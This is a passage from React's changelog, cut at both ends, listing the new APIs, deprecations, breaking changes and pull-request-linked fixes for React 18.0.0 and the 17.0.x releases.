[#24353](https://github.com/facebook/react/pull/24353))\n* Fix `useDeferredValue` causing an infinite loop when passed an unmemoized value. ([@acdlite](https://github.com/acdlite) in [#24247](https://github.com/facebook/react/pull/24247))\n* Fix throttling of revealing Suspense fallbacks. ([@sunderls](https://github.com/sunderls) in [#24253](https://github.com/facebook/react/pull/24253))\n* Fix an inconsistency in whether the props object is the same between renders. ([@Andarist](https://github.com/Andarist) and [@acdlite](https://github.com/acdlite) in [#24421](https://github.com/facebook/react/pull/24421))\n* Fix a missing warning about a `setState` loop in `useEffect`. ([@gaearon](https://github.com/gaearon) in [#24298](https://github.com/facebook/react/pull/24298))\n* Fix a spurious hydration error. ([@gnoff](https://github.com/gnoff) in [#24404](https://github.com/facebook/react/pull/24404))\n* Warn when calling `setState` in `useInsertionEffect`. ([@gaearon](https://github.com/gaearon) in [#24295](https://github.com/facebook/react/pull/24295))\n* Ensure the reason for hydration errors is always displayed. ([@gaearon](https://github.com/gaearon) in [#24276](https://github.com/facebook/react/pull/24276))\n\n### React DOM Server\n\n* Fix escaping for the `bootstrapScriptContent` contents. ([@gnoff](https://github.com/gnoff) in [#24385](https://github.com/facebook/react/pull/24385))\n* Significantly improve performance of `renderToPipeableStream`. ([@gnoff](https://github.com/gnoff) in [#24291](https://github.com/facebook/react/pull/24291))\n\n### ESLint Plugin: React Hooks\n\n* Fix false positive errors with a large number of branches. ([@scyron6](https://github.com/scyron6) in [#24287](https://github.com/facebook/react/pull/24287))\n* Don't consider a known dependency stable when the variable is reassigned. ([@afzalsayed96](https://github.com/afzalsayed96) in [#24343](https://github.com/facebook/react/pull/24343))\n\n### Use Subscription\n\n* Replace the implementation with the `use-sync-external-store` shim. ([@gaearon](https://github.com/gaearon) in [#24289](https://github.com/facebook/react/pull/24289))\n\n## 18.0.0 (March 29, 2022)\n\nBelow is a list of all new features, APIs, deprecations, and breaking changes.\nRead [React 18 release post](https://reactjs.org/blog/2022/03/29/react-v18.html) and [React 18 upgrade guide](https://reactjs.org/blog/2022/03/08/react-18-upgrade-guide.html) for more information.\n\n### New Features\n\n### React\n\n* `useId` is a new hook for generating unique IDs on both the client and server, while avoiding hydration mismatches. It is primarily useful for component libraries integrating with accessibility APIs that require unique IDs. This solves an issue that already exists in React 17 and below, but it’s even more important in React 18 because of how the new streaming server renderer delivers HTML out-of-order.\n* `startTransition` and `useTransition` let you mark some state updates as not urgent. Other state updates are considered urgent by default. React will allow urgent state updates (for example, updating a text input) to interrupt non-urgent state updates (for example, rendering a list of search results).\n* `useDeferredValue` lets you defer re-rendering a non-urgent part of the tree. It is similar to debouncing, but has a few advantages compared to it. There is no fixed time delay, so React will attempt the deferred render right after the first render is reflected on the screen. The deferred render is interruptible and doesn't block user input.\n* `useSyncExternalStore` is a new hook that allows external stores to support concurrent reads by forcing updates to the store to be synchronous. It removes the need for `useEffect` when implementing subscriptions to external data sources, and is recommended for any library that integrates with state external to React.\n* `useInsertionEffect` is a new hook that allows CSS-in-JS libraries to address performance issues of injecting styles in render. Unless you’ve already built a CSS-in-JS library we don’t expect you to ever use this. This hook will run after the DOM is mutated, but before layout effects read the new layout. This solves an issue that already exists in React 17 and below, but is even more important in React 18 because React yields to the browser during concurrent rendering, giving it a chance to recalculate layout.\n\n### React DOM Client\n\nThese new APIs are now exported from `react-dom/client`:\n\n* `createRoot`: New method to create a root to `render` or `unmount`. Use it instead of `ReactDOM.render`. New features in React 18 don't work without it.\n* `hydrateRoot`: New method to hydrate a server rendered application. Use it instead of `ReactDOM.hydrate` in conjunction with the new React DOM Server APIs. New features in React 18 don't work without it.\n\nBoth `createRoot` and `hydrateRoot` accept a new option called `onRecoverableError` in case you want to be notified when React recovers from errors during rendering or hydration for logging. By default, React will use [`reportError`](https://developer.mozilla.org/en-US/docs/Web/API/reportError), or `console.error` in the older browsers.\n\n### React DOM Server\n\nThese new APIs are now exported from `react-dom/server` and have full support for streaming Suspense on the server:\n\n* `renderToPipeableStream`: for streaming in Node environments.\n* `renderToReadableStream`: for modern edge runtime environments, such as Deno and Cloudflare workers.\n\nThe existing `renderToString` method keeps working but is discouraged.\n\n## Deprecations\n\n* `react-dom`: `ReactDOM.render` has been deprecated. Using it will warn and run your app in React 17 mode.\n* `react-dom`: `ReactDOM.hydrate` has been deprecated. Using it will warn and run your app in React 17 mode.\n* `react-dom`: `ReactDOM.unmountComponentAtNode` has been deprecated.\n* `react-dom`: `ReactDOM.renderSubtreeIntoContainer` has been deprecated.\n* `react-dom/server`: `ReactDOMServer.renderToNodeStream` has been deprecated.\n\n## Breaking Changes\n\n### React\n\n* **Automatic batching:** This release introduces a performance improvement that changes to the way React batches updates to do more batching automatically. See [Automatic batching for fewer renders in React 18](https://github.com/reactwg/react-18/discussions/21) for more info. In the rare case that you need to opt out, wrap the state update in `flushSync`.\n* **Stricter Strict Mode**: In the future, React will provide a feature that lets components preserve state between unmounts. To prepare for it, React 18 introduces a new development-only check to Strict Mode. React will automatically unmount and remount every component, whenever a component mounts for the first time, restoring the previous state on the second mount. If this breaks your app, consider removing Strict Mode until you can fix the components to be resilient to remounting with existing state.\n* **Consistent useEffect timing**: React now always synchronously flushes effect functions if the update was triggered during a discrete user input event such as a click or a keydown event. Previously, the behavior wasn't always predictable or consistent.\n* **Stricter hydration errors**: Hydration mismatches due to missing or extra text content are now treated like errors instead of warnings. React will no longer attempt to \"patch up\" individual nodes by inserting or deleting a node on the client in an attempt to match the server markup, and will revert to client rendering up to the closest `<Suspense>` boundary in the tree. This ensures the hydrated tree is consistent and avoids potential privacy and security holes that can be caused by hydration mismatches.\n* **Suspense trees are always consistent:** If a component suspends before it's fully added to the tree, React will not add it to the tree in an incomplete state or fire its effects. Instead, React will throw away the new tree completely, wait for the asynchronous operation to finish, and then retry rendering again from scratch. React will render the retry attempt concurrently, and without blocking the browser.\n* **Layout Effects with Suspense**: When a tree re-suspends and reverts to a fallback, React will now clean up layout effects, and then re-create them when the content inside the boundary is shown again. This fixes an issue which prevented component libraries from correctly measuring layout when used with Suspense.\n* **New JS Environment Requirements**: React now depends on modern browsers features including `Promise`, `Symbol`, and `Object.assign`. If you support older browsers and devices such as Internet Explorer which do not provide modern browser features natively or have non-compliant implementations, consider including a global polyfill in your bundled application.\n\n### Scheduler (Experimental)\n\n* Remove unstable `scheduler/tracing` API\n\n## Notable Changes\n\n### React\n\n* **Components can now render `undefined`:** React no longer throws if you return `undefined` from a component. This makes the allowed component return values consistent with values that are allowed in the middle of a component tree. We suggest to use a linter to prevent mistakes like forgetting a `return` statement before JSX.\n* **In tests, `act` warnings are now opt-in:** If you're running end-to-end tests, the `act` warnings are unnecessary. We've introduced an [opt-in](https://github.com/reactwg/react-18/discussions/102) mechanism so you can enable them only for unit tests where they are useful and beneficial.\n* **No warning about `setState` on unmounted components:** Previously, React warned about memory leaks when you call `setState` on an unmounted component. This warning was added for subscriptions, but people primarily run into it in scenarios where setting state is fine, and workarounds make the code worse. We've [removed](https://github.com/facebook/react/pull/22114) this warning.\n* **No suppression of console logs:** When you use Strict Mode, React renders each component twice to help you find unexpected side effects. In React 17, we've suppressed console logs for one of the two renders to make the logs easier to read. In response to [community feedback](https://github.com/facebook/react/issues/21783) about this being confusing, we've removed the suppression. Instead, if you have React DevTools installed, the second log's renders will be displayed in grey, and there will be an option (off by default) to suppress them completely.\n* **Improved memory usage:** React now cleans up more internal fields on unmount, making the impact from unfixed memory leaks that may exist in your application code less severe.\n\n### React DOM Server\n\n* **`renderToString`:** Will no longer error when suspending on the server. Instead, it will emit the fallback HTML for the closest `<Suspense>` boundary and then retry rendering the same content on the client. It is still recommended that you switch to a streaming API like `renderToPipeableStream` or `renderToReadableStream` instead.\n* **`renderToStaticMarkup`:** Will no longer error when suspending on the server. Instead, it will emit the fallback HTML for the closest `<Suspense>` boundary and retry rendering on the client.\n\n## All Changes\n\n## React\n\n* Add `useTransition` and `useDeferredValue` to separate urgent updates from transitions. ([#10426](https://github.com/facebook/react/pull/10426), [#10715](https://github.com/facebook/react/pull/10715), [#15593](https://github.com/facebook/react/pull/15593), [#15272](https://github.com/facebook/react/pull/15272), [#15578](https://github.com/facebook/react/pull/15578), [#15769](https://github.com/facebook/react/pull/15769), [#17058](https://github.com/facebook/react/pull/17058), [#18796](https://github.com/facebook/react/pull/18796), [#19121](https://github.com/facebook/react/pull/19121), [#19703](https://github.com/facebook/react/pull/19703), [#19719](https://github.com/facebook/react/pull/19719), [#19724](https://github.com/facebook/react/pull/19724), [#20672](https://github.com/facebook/react/pull/20672), [#20976](https://github.com/facebook/react/pull/20976) by [@acdlite](https://github.com/acdlite), [@lunaruan](https://github.com/lunaruan), [@rickhanlonii](https://github.com/rickhanlonii), and [@sebmarkbage](https://github.com/sebmarkbage))\n* Add `useId` for generating unique IDs. ([#17322](https://github.com/facebook/react/pull/17322), [#18576](https://github.com/facebook/react/pull/18576), [#22644](https://github.com/facebook/react/pull/22644), [#22672](https://github.com/facebook/react/pull/22672), [#21260](https://github.com/facebook/react/pull/21260) by [@acdlite](https://github.com/acdlite), [@lunaruan](https://github.com/lunaruan), and [@sebmarkbage](https://github.com/sebmarkbage))\n* Add `useSyncExternalStore` to help external store libraries integrate with React. ([#15022](https://github.com/facebook/react/pull/15022), [#18000](https://github.com/facebook/react/pull/18000), [#18771](https://github.com/facebook/react/pull/18771), [#22211](https://github.com/facebook/react/pull/22211), [#22292](https://github.com/facebook/react/pull/22292), [#22239](https://github.com/facebook/react/pull/22239), [#22347](https://github.com/facebook/react/pull/22347), [#23150](https://github.com/facebook/react/pull/23150) by [@acdlite](https://github.com/acdlite), [@bvaughn](https://github.com/bvaughn), and [@drarmstr](https://github.com/drarmstr))\n* Add `startTransition` as a version of `useTransition` without pending feedback. ([#19696](https://github.com/facebook/react/pull/19696) by [@rickhanlonii](https://github.com/rickhanlonii))\n* Add `useInsertionEffect` for CSS-in-JS libraries. ([#21913](https://github.com/facebook/react/pull/21913) by [@rickhanlonii](https://github.com/rickhanlonii))\n* Make Suspense remount layout effects when content reappears. ([#19322](https://github.com/facebook/react/pull/19322), [#19374](https://github.com/facebook/react/pull/19374), [#19523](https://github.com/facebook/react/pull/19523), [#20625](https://github.com/facebook/react/pull/20625), [#21079](https://github.com/facebook/react/pull/21079) by [@acdlite](https://github.com/acdlite), [@bvaughn](https://github.com/bvaughn), and [@lunaruan](https://github.com/lunaruan))\n* Make `<StrictMode>` re-run effects to check for restorable state. ([#19523](https://github.com/facebook/react/pull/19523) , [#21418](https://github.com/facebook/react/pull/21418) by [@bvaughn](https://github.com/bvaughn) and [@lunaruan](https://github.com/lunaruan))\n* Assume Symbols are always available. ([#23348](https://github.com/facebook/react/pull/23348) by [@sebmarkbage](https://github.com/sebmarkbage))\n* Remove `object-assign` polyfill. ([#23351](https://github.com/facebook/react/pull/23351) by [@sebmarkbage](https://github.com/sebmarkbage))\n* Remove unsupported `unstable_changedBits` API. ([#20953](https://github.com/facebook/react/pull/20953) by [@acdlite](https://github.com/acdlite))\n* Allow components to render undefined. ([#21869](https://github.com/facebook/react/pull/21869) by [@rickhanlonii](https://github.com/rickhanlonii))\n* Flush `useEffect` resulting from discrete events like clicks synchronously. ([#21150](https://github.com/facebook/react/pull/21150) by [@acdlite](https://github.com/acdlite))\n* Suspense `fallback={undefined}` now behaves the same as `null` and isn't ignored. ([#21854](https://github.com/facebook/react/pull/21854) by [@rickhanlonii](https://github.com/rickhanlonii))\n* Consider all `lazy()` resolving to the same component equivalent. ([#20357](https://github.com/facebook/react/pull/20357) by [@sebmarkbage](https://github.com/sebmarkbage))\n* Don't patch console during first render. ([#22308](https://github.com/facebook/react/pull/22308) by [@lunaruan](https://github.com/lunaruan))\n* Improve memory usage. ([#21039](https://github.com/facebook/react/pull/21039) by [@bgirard](https://github.com/bgirard))\n* Improve messages if string coercion throws (Temporal.*, Symbol, etc.) ([#22064](https://github.com/facebook/react/pull/22064) by [@justingrant](https://github.com/justingrant))\n* Use `setImmediate` when available over `MessageChannel`. ([#20834](https://github.com/facebook/react/pull/20834) by [@gaearon](https://github.com/gaearon))\n* Fix context failing to propagate inside suspended trees. ([#23095](https://github.com/facebook/react/pull/23095) by [@gaearon](https://github.com/gaearon))\n* Fix `useReducer` observing incorrect props by removing the eager bailout mechanism. ([#22445](https://github.com/facebook/react/pull/22445) by [@josephsavona](https://github.com/josephsavona))\n* Fix `setState` being ignored in Safari when appending iframes. ([#23111](https://github.com/facebook/react/pull/23111) by [@gaearon](https://github.com/gaearon))\n* Fix a crash when rendering `ZonedDateTime` in the tree. ([#20617](https://github.com/facebook/react/pull/20617) by [@dimaqq](https://github.com/dimaqq))\n* Fix a crash when document is set to `null` in tests. ([#22695](https://github.com/facebook/react/pull/22695) by [@SimenB](https://github.com/SimenB))\n* Fix `onLoad` not triggering when concurrent features are on. ([#23316](https://github.com/facebook/react/pull/23316) by [@gnoff](https://github.com/gnoff))\n* Fix a warning when a selector returns `NaN`.  ([#23333](https://github.com/facebook/react/pull/23333) by [@hachibeeDI](https://github.com/hachibeeDI))\n* Fix the generated license header. ([#23004](https://github.com/facebook/react/pull/23004) by [@vitaliemiron](https://github.com/vitaliemiron))\n* Add `package.json` as one of the entry points. ([#22954](https://github.com/facebook/react/pull/22954) by [@Jack](https://github.com/Jack-Works))\n* Allow suspending outside a Suspense boundary. ([#23267](https://github.com/facebook/react/pull/23267) by [@acdlite](https://github.com/acdlite))\n* Log a recoverable error whenever hydration fails. ([#23319](https://github.com/facebook/react/pull/23319) by [@acdlite](https://github.com/acdlite))\n\n### React DOM\n\n* Add `createRoot` and `hydrateRoot`. ([#10239](https://github.com/facebook/react/pull/10239), [#11225](https://github.com/facebook/react/pull/11225), [#12117](https://github.com/facebook/react/pull/12117), [#13732](https://github.com/facebook/react/pull/13732), [#15502](https://github.com/facebook/react/pull/15502), [#15532](https://github.com/facebook/react/pull/15532), [#17035](https://github.com/facebook/react/pull/17035), [#17165](https://github.com/facebook/react/pull/17165), [#20669](https://github.com/facebook/react/pull/20669), [#20748](https://github.com/facebook/react/pull/20748), [#20888](https://github.com/facebook/react/pull/20888), [#21072](https://github.com/facebook/react/pull/21072), [#21417](https://github.com/facebook/react/pull/21417), [#21652](https://github.com/facebook/react/pull/21652), [#21687](https://github.com/facebook/react/pull/21687), [#23207](https://github.com/facebook/react/pull/23207), [#23385](https://github.com/facebook/react/pull/23385) by [@acdlite](https://github.com/acdlite), [@bvaughn](https://github.com/bvaughn), [@gaearon](https://github.com/gaearon), [@lunaruan](https://github.com/lunaruan), [@rickhanlonii](https://github.com/rickhanlonii), [@trueadm](https://github.com/trueadm), and [@sebmarkbage](https://github.com/sebmarkbage))\n* Add selective hydration. ([#14717](https://github.com/facebook/react/pull/14717), [#14884](https://github.com/facebook/react/pull/14884), [#16725](https://github.com/facebook/react/pull/16725), [#16880](https://github.com/facebook/react/pull/16880), [#17004](https://github.com/facebook/react/pull/17004), [#22416](https://github.com/facebook/react/pull/22416), [#22629](https://github.com/facebook/react/pull/22629), [#22448](https://github.com/facebook/react/pull/22448), [#22856](https://github.com/facebook/react/pull/22856), [#23176](https://github.com/facebook/react/pull/23176) by [@acdlite](https://github.com/acdlite), [@gaearon](https://github.com/gaearon), [@salazarm](https://github.com/salazarm), and [@sebmarkbage](https://github.com/sebmarkbage))\n* Add `aria-description` to the list of known ARIA attributes. ([#22142](https://github.com/facebook/react/pull/22142) by [@mahyareb](https://github.com/mahyareb))\n* Add `onResize` event to video elements. ([#21973](https://github.com/facebook/react/pull/21973) by [@rileyjshaw](https://github.com/rileyjshaw))\n* Add `imageSizes` and `imageSrcSet` to known props. ([#22550](https://github.com/facebook/react/pull/22550) by [@eps1lon](https://github.com/eps1lon))\n* Allow non-string `<option>` children if `value` is provided.  ([#21431](https://github.com/facebook/react/pull/21431) by [@sebmarkbage](https://github.com/sebmarkbage))\n* Fix `aspectRatio` style not being applied. ([#21100](https://github.com/facebook/react/pull/21100) by [@gaearon](https://github.com/gaearon))\n* Warn if `renderSubtreeIntoContainer` is called. ([#23355](https://github.com/facebook/react/pull/23355) by [@acdlite](https://github.com/acdlite))\n\n### React DOM Server\n\n* Add the new streaming renderer. ([#14144](https://github.com/facebook/react/pull/14144), [#20970](https://github.com/facebook/react/pull/20970), [#21056](https://github.com/facebook/react/pull/21056), [#21255](https://github.com/facebook/react/pull/21255), [#21200](https://github.com/facebook/react/pull/21200), [#21257](https://github.com/facebook/react/pull/21257), [#21276](https://github.com/facebook/react/pull/21276), [#22443](https://github.com/facebook/react/pull/22443), [#22450](https://github.com/facebook/react/pull/22450), [#23247](https://github.com/facebook/react/pull/23247), [#24025](https://github.com/facebook/react/pull/24025), [#24030](https://github.com/facebook/react/pull/24030) by [@sebmarkbage](https://github.com/sebmarkbage))\n* Fix context providers in SSR when handling multiple requests. ([#23171](https://github.com/facebook/react/pull/23171) by [@frandiox](https://github.com/frandiox))\n* Revert to client render on text mismatch. ([#23354](https://github.com/facebook/react/pull/23354) by [@acdlite](https://github.com/acdlite))\n* Deprecate `renderToNodeStream`. ([#23359](https://github.com/facebook/react/pull/23359) by [@sebmarkbage](https://github.com/sebmarkbage))\n* Fix a spurious error log in the new server renderer. ([#24043](https://github.com/facebook/react/pull/24043) by [@eps1lon](https://github.com/eps1lon))\n* Fix a bug in the new server renderer. ([#22617](https://github.com/facebook/react/pull/22617) by [@shuding](https://github.com/shuding))\n* Ignore function and symbol values inside custom elements on the server. ([#21157](https://github.com/facebook/react/pull/21157) by [@sebmarkbage](https://github.com/sebmarkbage))\n\n### React DOM Test Utils\n\n* Throw when `act` is used in production. ([#21686](https://github.com/facebook/react/pull/21686) by [@acdlite](https://github.com/acdlite))\n* Support disabling spurious act warnings with `global.IS_REACT_ACT_ENVIRONMENT`. ([#22561](https://github.com/facebook/react/pull/22561) by [@acdlite](https://github.com/acdlite))\n* Expand act warning to cover all APIs that might schedule React work. ([#22607](https://github.com/facebook/react/pull/22607) by [@acdlite](https://github.com/acdlite))\n* Make `act` batch updates. ([#21797](https://github.com/facebook/react/pull/21797) by [@acdlite](https://github.com/acdlite))\n* Remove warning for dangling passive effects. ([#22609](https://github.com/facebook/react/pull/22609) by [@acdlite](https://github.com/acdlite))\n\n### React Refresh\n\n* Track late-mounted roots in Fast Refresh. ([#22740](https://github.com/facebook/react/pull/22740) by [@anc95](https://github.com/anc95))\n* Add `exports` field to `package.json`. ([#23087](https://github.com/facebook/react/pull/23087) by [@otakustay](https://github.com/otakustay))\n\n### Server Components (Experimental)\n\n* Add Server Context support. ([#23244](https://github.com/facebook/react/pull/23244) by [@salazarm](https://github.com/salazarm))\n* Add `lazy` support. ([#24068](https://github.com/facebook/react/pull/24068) by [@gnoff](https://github.com/gnoff))\n* Update webpack plugin for webpack 5 ([#22739](https://github.com/facebook/react/pull/22739) by [@michenly](https://github.com/michenly))\n* Fix a mistake in the Node loader. ([#22537](https://github.com/facebook/react/pull/22537) by [@btea](https://github.com/btea))\n* Use `globalThis` instead of `window` for edge environments. ([#22777](https://github.com/facebook/react/pull/22777) by [@huozhi](https://github.com/huozhi))\n\n### Scheduler (Experimental)\n\n* Remove unstable `scheduler/tracing` API ([#20037](https://github.com/facebook/react/pull/20037) by [@bvaughn](https://github.com/bvaughn))\n\n## 17.0.2 (March 22, 2021)\n\n### React DOM\n\n* Remove an unused dependency to address the [`SharedArrayBuffer` cross-origin isolation warning](https://developer.chrome.com/blog/enabling-shared-array-buffer/). ([@koba04](https://github.com/koba04) and [@bvaughn](https://github.com/bvaughn) in [#20831](https://github.com/facebook/react/pull/20831), [#20832](https://github.com/facebook/react/pull/20832), and [#20840](https://github.com/facebook/react/pull/20840))\n\n## 17.0.1 (October 22, 2020)\n\n### React DOM\n\n* Fix a crash in IE11. ([@gaearon](https://github.com/gaearon) in [#20071](https://github.com/facebook/react/pull/20071))\n\n## 17.0.0 (October 20, 2020)\n\nToday, we are releasing React 17!\n\n**[Learn more about React 17 and how to update to it on the official React blog.](https://reactjs.org/blog/2020/10/20/react-v17.html)**\n\n### React\n\n* Add `react/jsx-runtime` and `react/jsx-dev-runtime` for the [new JSX transform](https://babeljs.io/blog/2020/03/16/7.9.0#a-new-jsx-transform-11154-https-githubcom-babel-babel-pull-11154). ([@lunaruan](https://github.com/lunaruan) in [#18299](https://github.com/facebook/react/pull/18299))\n* Build component stacks from native error frames. ([@sebmarkbage](https://github.com/sebmarkbage) in [#18561](https://github.com/facebook/react/pull/18561))\n* Allow to specify `displayName` on context for improved stacks. ([@eps1lon](https://github.com/eps1lon) in [#18224](https://github.com/facebook/react/pull/18224))\n* Prevent `'use strict'` from leaking in the UMD bundles. ([@koba04](https://github.com/koba04) in [#19614](https://github.com/facebook/react/pull/19614))\n* Stop using `fb.me` for redirects. ([@cylim](https://github.com/cylim) in [#19598](https://github.com/facebook/react/pull/19598))\n\n### React DOM\n\n* Delegate events to roots instead of `document`. ([@trueadm](https://github.com/trueadm) in [#18195](https://github.com/facebook/react/pull/18195) and [others](https://github.com/facebook/react/pulls?q=is%3Apr+author%3Atrueadm+modern+event+is%3Amerged))\n* Clean up all effects before running any next effects. ([@bvaughn](https://github.com/bvaughn) in [#17947](https://github.com/facebook/react/pull/17947))\n* Run `useEffect` cleanup functions asynchronously. ([@bvaughn](https://github.com/bvaughn) in [#17925](https://github.com/facebook/react/pull/17925))\n* Use browser `focusin` and `focusout` for `onFocus` and `onBlur`. ([@trueadm](https://github.com/trueadm) in [#19186](https://github.com/facebook/react/pull/19186))\n* Make all `Capture` events use the browser capture phase. ([@trueadm](https://github.com/trueadm) in [#19221](https://github.com/facebook/react/pull/19221))\n* Don't emulate bubbling of the `onScroll` event. ([@gaearon](https://github.com/gaearon) in [#19464](https://github.com/facebook/react/pull/19464))\n* Throw if `forwardRef` or `memo` component returns `undefined`. ([@gaearon](https://github.com/gaearon) in [#19550](https://github.com/facebook/react/pull/19550))\n* Remove event pooling. ([@trueadm](https://github.com/trueadm) in [#18969](https://github.com/facebook/react/pull/18969))\n* Stop exposing internals that won’t be needed by React Native Web. ([@necolas](https://github.com/necolas) in [#18483](https://github.com/facebook/react/pull/18483))\n* Attach all known event listeners when the root mounts. ([@gaearon](https://github.com/gaearon) in [#19659](https://github.com/facebook/react/pull/19659))\n* Disable `console` in the second render pass of DEV mode double render. ([@sebmarkbage](https://github.com/sebmarkbage) in [#18547](https://github.com/facebook/react/pull/18547))\n* Deprecate the undocumented and misleading `ReactTestUtils.SimulateNative` API. ([@gaearon](https://github.com/gaearon) in [#13407](https://github.com/facebook/react/pull/13407))\n* Rename private field names used in the internals. ([@gaearon](https://github.com/gaearon) in [#18377](https://github.com/facebook/react/pull/18377))\n* Don't call User Timing API in development. ([@gaearon](https://github.com/gaearon) in [#18417](https://github.com/facebook/react/pull/18417))\n* Disable console during the repeated render in Strict Mode. ([@sebmarkbage](https://github.com/sebmarkbage) in [#18547](https://github.com/facebook/react/pull/18547))\n* In Strict Mode, double-render components without Hooks too. ([@eps1lon](https://github.com/eps1lon) in [#18430](https://github.com/facebook/react/pull/18430))\n* Allow calling `ReactDOM.flushSync` during lifecycle methods (but warn). ([@sebmarkbage](https://github.com/sebmarkbage) in [#18759](https://github.com/facebook/react/pull/18759))\n* Add the `code` property to the keyboard event objects. ([@bl00mber](https://github.com/bl00mber) in [#18287](https://github.com/facebook/react/pull/18287))\n* Add the `disableRemotePlayback` property for `video` elements. ([@tombrowndev](https://github.com/tombrowndev) in [#18619](https://github.com/facebook/react/pull/18619))\n* Add the `enterKeyHint` property for `input` elements. ([@eps1lon](https://github.com/eps1lon) in [#18634](https://github.com/facebook/react/pull/18634))\n* Warn when no `value` is provided to `<Context.Provider>`. ([@charlie1404](https://github.com/charlie1404) in [#19054](https://github.com/facebook/react/pull/19054))\n* Warn when `memo` or `forwardRef` components return `undefined`. ([@bvaughn](https://github.com/bvaughn) in [#19550](https://github.com/facebook/react/pull/19550))\n* Improve the error message for invalid updates. ([@JoviDeCroock](https://github.com/JoviDeCroock) in [#18316](https://github.com/facebook/react/pull/18316))\n* Exclude forwardRef and memo from stack frames. ([@sebmarkbage](https://github.com/sebmarkbage) in [#18559](https://github.com/facebook/react/pull/18559))\n* Improve the error message when switching between controlled and uncontrolled inputs. ([@vcarl](https://github.com/vcarl) in [#17070](https://github.com/facebook/react/pull/17070))\n* Keep `onTouchStart`, `onTouchMove`, and `onWheel` passive. ([@gaearon](https://github.com/gaearon) in [#19654](https://github.com/facebook/react/pull/19654))\n* Fix `setState` hanging in development inside a closed iframe. ([@gaearon](https://github.com/gaearon) in [#19220](https://github.com/facebook/react/pull/19220))\n* Fix rendering bailout for lazy components with `defaultProps`. ([@jddxf](https://github.com/jddxf) in [#18539](https://github.com/facebook/react/pull/18539))\n* Fix a false positive warning when `dangerouslySetInnerHTML` is `undefined`. ([@eps1lon](https://github.com/eps1lon) in [#18676](https://github.com/facebook/react/pull/18676))\n* Fix Test Utils with non-standard `require` implementation. ([@just-boris](https://github.com/just-boris) in [#18632](https://github.com/facebook/react/pull/18632))\n* Fix `onBeforeInput` reporting an incorrect `event.type`. ([@eps1lon](https://github.com/eps1lon) in [#19561](https://github.com/facebook/react/pull/19561))\n* Fix `event.relatedTarget` reported as `undefined` in Firefox. ([@claytercek](https://github.com/claytercek) in [#19607](https://github.com/facebook/react/pull/19607))\n* Fix \"unspecified error\" in IE11. ([@hemakshis](https://github.com/hemakshis) in [#19664](https://github.com/facebook/react/pull/19664))\n* Fix rendering into a shadow root. ([@Jack-Works](https://github.com/Jack-Works) in [#15894](https://github.com/facebook/react/pull/15894))\n* Fix `movementX/Y` polyfill with capture events. ([@gaearon](https://github.com/gaearon) in [#19672](https://github.com/facebook/react/pull/19672))\n* Use delegation for `onSubmit` and `onReset` events. ([@gaearon](https://github.com/gaearon) in [#19333](https://github.com/facebook/react/pull/19333))\n* Improve memory usage. ([@trueadm](https://github.com/trueadm) in [#18970](https://github.com/facebook/react/pull/18970))\n\n### React DOM Server\n\n* Make `useCallback` behavior consistent with `useMemo` for the server renderer. ([@alexmckenley](https://github.com/alexmckenley) in [#18783](https://github.com/facebook/react/pull/18783))\n* Fix state leaking when a function component throws. ([@pmaccart](https://github.com/pmaccart) in [#19212](https://github.com/facebook/react/pull/19212))\n\n### React Test Renderer\n\n* Improve `findByType` error message. ([@henryqdineen](https://github.com/henryqdineen) in [#17439](https://github.com/facebook/react/pull/17439))\n\n### Concurrent Mode (Experimental)\n\n* Revamp the priority batching heuristics. ([@acdlite](https://github.com/acdlite) in [#18796](https://github.com/facebook/react/pull/18796))\n* Add the `unstable_` prefix before the experimental APIs. ([@acdlite](https://github.com/acdlite) in [#18825](https://github.com/facebook/react/pull/18825))\n* Remove `unstable_discreteUpdates` and `unstable_flushDiscreteUpdates`. ([@trueadm](https://github.com/trueadm) in [#18825](https://github.com/facebook/react/pull/18825))\n* Remove the `timeoutMs` argument. ([@acdlite](https://github.com/acdlite) in [#19703](https://github.com/facebook/react/pull/19703))\n* Disable `<div hidden />` prerendering in favor of a different future API. ([@acdlite](https://github.com/acdlite) in [#18917](https://github.com/facebook/react/pull/18917))\n* Add `unstable_expectedLoadTime` to Suspense for CPU-bound trees. ([@acdlite](https://github.com/acdlite) in [#19936](https://github.com/facebook/react/pull/19936))\n* Add an experimental `unstable_useOpaqueIdentifier` Hook. ([@lunaruan](https://github.com/lunaruan) in [#17322](https://github.com/facebook/react/pull/17322))\n* Add an experimental `unstable_startTransition` API. ([@rickhanlonii](https://github.com/rickhanlonii) in [#19696](https://github.com/facebook/react/pull/19696))\n* Using `act` in the test renderer no longer flushes Suspense fallbacks. ([@acdlite](https://github.com/acdlite) in [#18596](https://github.com/facebook/react/pull/18596))\n* Use global render timeout for CPU Suspense. ([@sebmarkbage](https://github.com/sebmarkbage) in [#19643](https://github.com/facebook/react/pull/19643))\n* Clear the existing root content before mounting. ([@bvaughn](https://github.com/bvaughn) in [#18730](https://github.com/facebook/react/pull/18730))\n* Fix a bug with error boundaries. ([@acdlite](https://github.com/acdlite) in [#18265](https://github.com/facebook/react/pull/18265))\n* Fix a bug causing dropped updates in a suspended tree. ([@acdlite](https://github.com/acdlite) in [#18384](https://github.com/facebook/react/pull/18384) and [#18457](https://github.com/facebook/react/pull/18457))\n* Fix a bug causing dropped render phase updates. ([@acdlite](https://github.com/acdlite) in [#18537](https://github.com/facebook/react/pull/18537))\n* Fix a bug in SuspenseList. ([@sebmarkbage](https://github.com/sebmarkbage) in [#18412](https://github.com/facebook/react/pull/18412))\n* Fix a bug causing Suspense fallback to show too early. ([@acdlite](https://github.com/acdlite) in [#18411](https://github.com/facebook/react/pull/18411))\n* Fix a bug with class components inside SuspenseList. ([@sebmarkbage](https://github.com/sebmarkbage) in [#18448](https://github.com/facebook/react/pull/18448))\n* Fix a bug with inputs that may cause updates to be dropped. ([@jddxf](https://github.com/jddxf) in [#18515](https://github.com/facebook/react/pull/18515) and [@acdlite](https://github.com/acdlite) in [#18535](https://github.com/facebook/react/pull/18535))\n* Fix a bug causing Suspense fallback to get stuck.  ([@acdlite](https://github.com/acdlite) in [#18663](https://github.com/facebook/react/pull/18663))\n* Don't cut off the tail of a SuspenseList if hydrating. ([@sebmarkbage](https://github.com/sebmarkbage) in [#18854](https://github.com/facebook/react/pull/18854))\n* Fix a bug in `useMutableSource` that may happen when `getSnapshot` changes. ([@bvaughn](https://github.com/bvaughn) in [#18297](https://github.com/facebook/react/pull/18297))\n* Fix a tearing bug in `useMutableSource`. ([@bvaughn](https://github.com/bvaughn) in [#18912](https://github.com/facebook/react/pull/18912))\n* Warn if calling setState outside of render but before commit. ([@sebmarkbage](https://github.com/sebmarkbage) in [#18838](https://github.com/facebook/react/pull/18838))\n\n## 16.14.0 (October 14, 